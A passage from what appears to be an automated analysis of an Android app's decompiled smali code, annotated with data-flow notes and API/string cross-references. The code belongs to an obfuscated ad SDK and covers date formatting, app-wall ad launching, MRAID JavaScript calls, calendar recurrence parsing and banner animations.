33invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
34move-result-object v7
36invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
37move-result-object v7
39invoke-virtual {v6, v7}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
40new-instance v4, Ljava/text/SimpleDateFormat;
42const-string v6, "yyyyMMdd\'T\'HHmmss\'Z\'"
44invoke-direct {v4, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyyMMdd\'T\'HHmmss\'Z\'
46invoke-virtual {v4, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
47move-result-object v3
48new-instance v6, Ljava/lang/StringBuilder;
50invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
52const-string v7, ""
54invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
55move-result-object v6
57invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v6
60invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v0
62goto_4b: add-int/lit8 v5, v5, 0x1
63goto/16 :goto_3
64cond_4e: new-instance v2, Ljava/text/SimpleDateFormat;
66const-string v6, "yyyy-MM-dd"
68invoke-direct {v2, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyy-MM-dd
69aget-object v6, p1, v5
71invoke-virtual {v2, v6}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date;
72move-result-object v1
74sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream;
75new-instance v7, Ljava/lang/StringBuilder;
77invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
79const-string v8, "dt: "
81invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: dt:
82move-result-object v7
84invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
85move-result-object v7
87invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
88move-result-object v7
90invoke-virtual {v6, v7}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
91new-instance v4, Ljava/text/SimpleDateFormat;
93const-string v6, "yyyyMMdd\'T\'HHmmss\'Z\'"
95invoke-direct {v4, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyyMMdd\'T\'HHmmss\'Z\'
97invoke-virtual {v4, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
98move-result-object v3
99new-instance v6, Ljava/lang/StringBuilder;
101invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
103invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
104move-result-object v6
106const-string v7, ","
108invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,
109move-result-object v6
111invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
112move-result-object v6
114invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
115move-result-object v0
116goto/16 :goto_4b
117cond_96: return-object v0
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • org.json.JSONObject.getString
  • java.lang.String.equals
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.content.Intent.setAction
  • android.content.Intent.putExtra
  • android.app.Activity.startActivity
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • android.util.Log.e
Strings
  • status
  • message
  • Success
  • url
  • appwallad
  • adtype
  • AW
  • AirplaySDK
  • Required SmartWallActivity not found in Manifest. Please add.
  • Error in AppWall json:
  • Error in AppWall response:
Position Instruction Meta Information
0.param p1, "json" # Ljava/lang/String;
1.prologue
2try_start_0: new-instance v2, Lorg/json/JSONObject;
4invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
6const-string v6, "status"
8invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
9move-result v6
10if-eqz v6, :cond_68
11const/4 v4, 0x0
12goto_e:
13const-string v6, "message"
15invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
16move-result v6
17if-eqz v6, :cond_6f
19const-string v3, ""
20goto_18: const/16 v6, 0xc8
21if-ne v4, v6, :cond_88
23const-string v6, "Success"
25invoke-virtual {v3, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: Success
26move-result v6
27if-eqz v6, :cond_88
29const-string v6, "url"
31invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: url
32move-result-object v5
33if-eqz v5, :cond_67
35const-string v6, ""
37invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
38move-result v6
39if-nez v6, :cond_67
41sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
43invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
44new-instance v1, Landroid/content/Intent;
46sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
47const-class v7, Lcom/vxjxu/jkhfn1870/SmartWallActivity;
49invoke-direct {v1, v6, v7}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
50const/high16 v6, 0x10000000
52invoke-virtual {v1, v6}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
53const/high16 v6, 0x20000000
55invoke-virtual {v1, v6}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 536870912
56const/high16 v6, 0x800000
58invoke-virtual {v1, v6}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
60const-string v6, "appwallad"
62invoke-virtual {v1, v6}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: appwallad
64const-string v6, "adtype"
66const-string v7, "AW"
68invoke-virtual {v1, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: adtype
    • p1: AW
70const-string v6, "url"
72invoke-virtual {v1, v6, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: url
73try_start_62:
74sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
76invoke-virtual {v6, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
77cond_67: return-void
78try_start_68:
79const-string v6, "status"
81invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
82move-result v4
83goto/16 :goto_e
84cond_6f:
85const-string v6, "message"
87invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
88move-result-object v3
89goto/16 :goto_18
90catch_76: move-exception v0
92const-string v6, "AirplaySDK"
94const-string v7, "Required SmartWallActivity not found in Manifest. Please add."
96invoke-static {v6, v7}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required SmartWallActivity not found in Manifest. Please add.
97try_end_7e: goto/16 :goto_67
98catch_7f: move-exception v0
100const-string v6, "AirplaySDK"
102const-string v7, "Error in AppWall json: "
104invoke-static {v6, v7, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error in AppWall json:
105goto/16 :goto_67
106try_start_88:
107invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
108try_end_8b: goto/16 :goto_67
109catch_8c: move-exception v0
111const-string v6, "AirplaySDK"
113const-string v7, "Error in AppWall response: "
115invoke-static {v6, v7, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error in AppWall response:
116goto/16 :goto_67
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • com.vxjxu.jkhfn1870.MraidView.checkVisibility
  • com.vxjxu.jkhfn1870.MraidView.setState
  • com.vxjxu.jkhfn1870.MraidView.triggerEvent
  • android.os.Handler.sendEmptyMessage
  • com.vxjxu.jkhfn1870.MraidView.onAnimationEnd
  • com.vxjxu.jkhfn1870.MraidView.setDefaultPosition
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • mraid.setPlacementType(\'
  • \')
  • SDK LOG: display Ad called.
  • mraid.setExpandProperties(
  • );
  • default
  • ready
  • AirplayMraid
  • Sending impression data:>
  • 90
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/lang/StringBuilder;
3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
5const-string v1, "mraid.setPlacementType(\'"
7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setPlacementType(\'
8move-result-object v0
10iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String;
12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15const-string v1, "\')"
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \')
18move-result-object v0
20invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
21move-result-object v0
23invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
25const-string v0, "SDK LOG: display Ad called."
27invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SDK LOG: display Ad called.
28new-instance v0, Ljava/lang/StringBuilder;
30invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
32const-string v1, "mraid.setExpandProperties("
34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setExpandProperties(
35move-result-object v0
37iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
39invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->getProperties()Ljava/lang/String;
40move-result-object v1
42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
43move-result-object v0
45const-string v1, ");"
47invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: );
48move-result-object v0
50invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
51move-result-object v0
53invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
55invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V
57const-string v0, "default"
59invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: default
61const-string v0, "ready"
63invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerEvent(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: ready
65iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
66if-eqz v0, :cond_5f
68iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
69const/4 v1, 0x0
71invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z
  • Data flow analysis:
    • what: 0
73invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->onAnimationEnd()V
74cond_5f:
75invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setDefaultPosition()V
77const-string v0, "AirplayMraid"
79const-string v1, "Sending impression data:>"
81invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Sending impression data:>
83const-string v0, "90"
85invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 90
86return-void
Cross References
APIs
  • java.lang.Object.<init>
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • org.json.JSONArray.length
  • org.json.JSONArray.getString
  • org.json.JSONObject.getString
  • java.lang.Short.parseShort
  • org.json.JSONObject.getString
  • org.json.JSONObject.getJSONArray
Strings
  • SU
  • MO
  • TU
  • WE
  • TH
  • FR
  • SA
  • frequency
  • interval
  • expires
  • exceptionDates
  • daysInWeek
  • daysInMonth
  • daysInYear
  • weeksInMonth
  • monthsInYear
Position Instruction Meta Information
0.param p1, "jsonString" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/NullPointerException;,
4Lorg/json/JSONException;
5}
6.end annotation
7.prologue
8const/4 v3, 0x0
10invoke-direct {p0}, Ljava/lang/Object;-><init>()V
11const/4 v2, 0x7
12new-array v2, v2, [Ljava/lang/String;
14const-string v4, "SU"
15aput-object v4, v2, v3
16const/4 v4, 0x1
18const-string v5, "MO"
19aput-object v5, v2, v4
20const/4 v4, 0x2
22const-string v5, "TU"
23aput-object v5, v2, v4
24const/4 v4, 0x3
26const-string v5, "WE"
27aput-object v5, v2, v4
28const/4 v4, 0x4
30const-string v5, "TH"
31aput-object v5, v2, v4
32const/4 v4, 0x5
34const-string v5, "FR"
35aput-object v5, v2, v4
36const/4 v4, 0x6
38const-string v5, "SA"
39aput-object v5, v2, v4
40iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->days:[Ljava/lang/String;
42const-string v2, "frequency"
43iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_FREQUENCY:Ljava/lang/String;
45const-string v2, "interval"
46iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_INTERVAL:Ljava/lang/String;
48const-string v2, "expires"
49iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_EXPIRES:Ljava/lang/String;
51const-string v2, "exceptionDates"
52iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_EXCEPTION_DATES:Ljava/lang/String;
54const-string v2, "daysInWeek"
55iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_DAYS_IN_WEEK:Ljava/lang/String;
57const-string v2, "daysInMonth"
58iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_DAYS_IN_MONTH:Ljava/lang/String;
60const-string v2, "daysInYear"
61iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_DAYS_IN_YEAR:Ljava/lang/String;
63const-string v2, "weeksInMonth"
64iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_WEEKS_IN_MONTH:Ljava/lang/String;
66const-string v2, "monthsInYear"
67iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_MONTHS_IN_YEAR:Ljava/lang/String;
68new-instance v2, Lorg/json/JSONObject;
70invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
71iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
73iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
75const-string v4, "frequency"
77invoke-virtual {v2, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: frequency
78move-result v2
79if-eqz v2, :cond_a5
81const-string v2, ""
82goto_62: iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String;
84iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
86const-string v4, "interval"
88invoke-virtual {v2, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: interval
89move-result v2
90if-eqz v2, :cond_ae
91move v2, v3
92goto_6f: iput-short v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->interval:S
94iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
96const-string v3, "expires"
98invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: expires
99move-result v2
100if-eqz v2, :cond_bb
102const-string v2, ""
103goto_7d: iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String;
105iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
107const-string v3, "exceptionDates"
109invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: exceptionDates
110move-result v2
111if-eqz v2, :cond_c4
112const/4 v0, 0x0
113goto_8a: if-eqz v0, :cond_cd
115invoke-virtual {v0}, Lorg/json/JSONArray;->length()I
116move-result v2
117new-array v2, v2, [Ljava/lang/String;
118iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->exceptionDates:[Ljava/lang/String;
119const/4 v1, 0x0
120goto_95:
121iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->exceptionDates:[Ljava/lang/String;
122array-length v2, v2
123if-ge v1, v2, :cond_cd
125iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->exceptionDates:[Ljava/lang/String;
127invoke-virtual {v0, v1}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
128move-result-object v3
129aput-object v3, v2, v1
130add-int/lit8 v1, v1, 0x1
131goto/16 :goto_95
132cond_a5:
133iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
135const-string v4, "frequency"
137invoke-virtual {v2, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: frequency
138move-result-object v2
139goto/16 :goto_62
140cond_ae:
141iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
143const-string v3, "interval"
145invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: interval
146move-result-object v2
148invoke-static {v2}, Ljava/lang/Short;->parseShort(Ljava/lang/String;)S
149move-result v2
150goto/16 :goto_6f
151cond_bb:
152iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
154const-string v3, "expires"
156invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: expires
157move-result-object v2
158goto/16 :goto_7d
159cond_c4:
160iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
162const-string v3, "exceptionDates"
164invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
  • Data flow analysis:
    • p0: exceptionDates
165move-result-object v0
166goto/16 :goto_8a
167cond_cd:
168const-string v2, "daysInWeek"
170invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S
171move-result-object v2
172iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInWeek:[S
174const-string v2, "daysInMonth"
176invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S
177move-result-object v2
178iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInMonth:[S
180const-string v2, "daysInYear"
182invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S
183move-result-object v2
184iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInYear:[S
186const-string v2, "weeksInMonth"
188invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S
189move-result-object v2
190iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->weeksInMonth:[S
192const-string v2, "monthsInYear"
194invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S
195move-result-object v2
196iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->monthsInYear:[S
197return-void
Cross References
APIs
  • java.lang.String.equals
  • android.view.animation.AlphaAnimation.<init>
  • android.view.animation.Animation.setDuration
  • java.lang.String.equals
  • android.view.animation.TranslateAnimation.<init>
  • android.view.animation.Animation.setDuration
  • android.view.animation.AccelerateInterpolator.<init>
  • android.view.animation.Animation.setInterpolator
  • java.lang.String.equals
  • android.view.animation.TranslateAnimation.<init>
  • android.view.animation.Animation.setDuration
  • android.view.animation.AccelerateInterpolator.<init>
  • android.view.animation.Animation.setInterpolator
  • java.lang.String.equals
  • android.view.animation.AlphaAnimation.<init>
  • android.view.animation.Animation.setDuration
  • java.lang.String.equals
  • android.view.animation.TranslateAnimation.<init>
  • android.view.animation.Animation.setDuration
  • android.view.animation.AccelerateInterpolator.<init>
  • android.view.animation.Animation.setInterpolator
  • java.lang.String.equals
  • android.view.animation.TranslateAnimation.<init>
  • android.view.animation.Animation.setDuration
  • android.view.animation.AccelerateInterpolator.<init>
  • android.view.animation.Animation.setInterpolator
Strings
  • fade
  • left_to_right
  • top_down
Position Instruction Meta Information
0.param p1, "isOutAnimation" # Z
1.prologue
2const/4 v0, 0x0
3if-eqz p1, :cond_73
5iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
6if-eqz v1, :cond_1f
8iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
10const-string v2, "fade"
12invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: fade
13move-result v1
14if-eqz v1, :cond_1f
15new-instance v0, Landroid/view/animation/AlphaAnimation;
16const/high16 v1, 0x3f800000 # 1.0f
17const/4 v2, 0x0
19invoke-direct {v0, v1, v2}, Landroid/view/animation/AlphaAnimation;-><init>(FF)V
  • Data flow analysis:
    • p1: 0
20const-wide/16 v2, 0x2bc
22invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V
  • Data flow analysis:
    • p0: 700
23cond_1e: return-object v0
24cond_1f:
25iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
26if-eqz v1, :cond_49
28iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
30const-string v2, "left_to_right"
32invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: left_to_right
33move-result v1
34if-eqz v1, :cond_49
35new-instance v0, Landroid/view/animation/TranslateAnimation;
36const/4 v1, 0x2
37const/4 v2, 0x0
38const/4 v3, 0x2
39const/high16 v4, 0x3f800000 # 1.0f
40const/4 v5, 0x2
41const/4 v6, 0x0
42const/4 v7, 0x2
43const/4 v8, 0x0
45invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V
  • Data flow analysis:
    • p0: 2
    • p1: 0
    • p2: 2
    • p4: 2
    • p5: 0
    • p6: 2
    • p7: 0
46const-wide/16 v2, 0x384
48invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V
  • Data flow analysis:
    • p0: 900
    • p1: 2
49new-instance v1, Landroid/view/animation/AccelerateInterpolator;
51invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V
53invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V
54goto/16 :goto_1e
55cond_49:
56iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
57if-eqz v1, :cond_1e
59iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
61const-string v2, "top_down"
63invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: top_down
64move-result v1
65if-eqz v1, :cond_1e
66new-instance v0, Landroid/view/animation/TranslateAnimation;
67const/4 v1, 0x2
68const/4 v2, 0x0
69const/4 v3, 0x2
70const/4 v4, 0x0
71const/4 v5, 0x2
72const/4 v6, 0x0
73const/4 v7, 0x2
74const/high16 v8, 0x3f800000 # 1.0f
76invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V
  • Data flow analysis:
    • p0: 2
    • p1: 0
    • p2: 2
    • p3: 0
    • p4: 2
    • p5: 0
    • p6: 2
77const-wide/16 v2, 0x384
79invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V
  • Data flow analysis:
    • p0: 900
    • p1: 2
80new-instance v1, Landroid/view/animation/AccelerateInterpolator;
82invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V
84invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V
85goto/16 :goto_1e
86cond_73:
87iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
88if-eqz v1, :cond_8f
90iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
92const-string v2, "fade"
94invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: fade
95move-result v1
96if-eqz v1, :cond_8f
97new-instance v0, Landroid/view/animation/AlphaAnimation;
98const/4 v1, 0x0
99const/high16 v2, 0x3f800000 # 1.0f
101invoke-direct {v0, v1, v2}, Landroid/view/animation/AlphaAnimation;-><init>(FF)V
  • Data flow analysis:
    • p0: 0
102const-wide/16 v2, 0x4b0
104invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V
  • Data flow analysis:
    • p0: 1200
    • p1: 2
105goto/16 :goto_1e
106cond_8f:
107iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
108if-eqz v1, :cond_ba
110iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
112const-string v2, "left_to_right"
114invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: left_to_right
115move-result v1
116if-eqz v1, :cond_ba
117new-instance v0, Landroid/view/animation/TranslateAnimation;
118const/4 v1, 0x2
119const/high16 v2, -0x40800000 # -1.0f
120const/4 v3, 0x2
121const/4 v4, 0x0
122const/4 v5, 0x2
123const/4 v6, 0x0
124const/4 v7, 0x2
125const/4 v8, 0x0
